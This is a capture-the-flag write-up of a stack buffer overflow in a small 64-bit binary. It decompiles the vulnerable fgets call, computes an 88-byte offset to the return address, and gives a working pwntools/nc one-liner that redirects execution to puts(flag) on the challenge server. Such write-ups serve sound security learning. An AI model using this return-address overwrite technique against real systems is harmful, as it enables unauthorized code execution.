A Very Good Place to Start
3 minutes to read
We are given a 64-bit binary called start
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Reverse engineering
If we use Ghidra to extract the decompiled C source code, we see the main
function:
int main() {
int ret;
char name[64];
FILE *fp;
uint i;
setbuf(stdout, NULL);
setbuf(stdin, NULL);
fp = fopen("./flag.txt", "r");
__isoc99_fscanf(fp, "%s", flag);
printf("What\'s your name? ");
fgets(name, 128, stdin);
i = 0;
do {
if (63 < i) {
LAB_00401240:
ret = strcmp("nonadmin", "admin");
if (ret == 0) {
puts(flag);
} else {
printf("Hi %s! It doesn\'t look like you\'re an admin. Try again later!\n", name);
}
return 0;
}
if (name[(int) i] == '\n') {
name[(int) i] = '\0';
goto LAB_00401240;
}
i = i + 1;
} while (true);
}
Basically, it asks to enter a name:
$ nc puzzler7.imaginaryctf.org 7004
What's your name? admin
Hi admin! It doesn't look like you're an admin. Try again later!
Ncat: Broken pipe.
In order to get the flag, the program checks if "nonadmin"
equals "admin"
, which is false.
Buffer Overflow vulnerability
However, notice that name
is a character array of 64 bytes, but the program reads up to 128, so we can exceed the reserved space and modify critical values such as the return address, which is placed in the stack.
In the stack, we will have 64 bytes for name
, then 8 bytes for fp
, 8 bytes for i
, 8 bytes for the saved $rbp
and then 8 bytes for the saved $rip
(the return address). In brief, the offset is 88.
We are interested in modifying the return address and redirect the program to puts(flag)
. This address is 0x401271
:
$ objdump -M intel --disassemble-symbols=main start | grep -C 2 flag
4011c5: 48 89 45 f0 mov qword ptr [rbp - 16], rax
4011c9: 48 8b 45 f0 mov rax, qword ptr [rbp - 16]
4011cd: 48 8d 15 cc 2e 00 00 lea rdx, [rip + 11980] # 0x4040a0 <flag>
4011d4: 48 8d 35 3a 0e 00 00 lea rsi, [rip + 3642] # 0x402015 <_IO_stdin_used+0x15>
4011db: 48 89 c7 mov rdi, rax
--
40126a: e8 f1 fd ff ff call 0x401060 <printf@plt>
40126f: eb 0c jmp 0x40127d <main+0xfb>
401271: 48 8d 3d 28 2e 00 00 lea rdi, [rip + 11816] # 0x4040a0 <flag>
401278: e8 c3 fd ff ff call 0x401040 <puts@plt>
40127d: b8 00 00 00 00 mov eax, 0
We will need to use little-endian format, or we can call p64
from pwntools
.
Flag
The flag can be obtained with the following “one-liner”:
$ (python3 -c 'from pwn import os, p64; os.write(1, b"A" * 88 + p64(0x401271) + b"\n")'; cat) | nc puzzler7.imaginaryctf.org 7004
What's your name? Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@! It doesn't look like you're an admin. Try again later!
ictf{I_have_a_bad_habit_of_jumping_into_the_middle_of_things}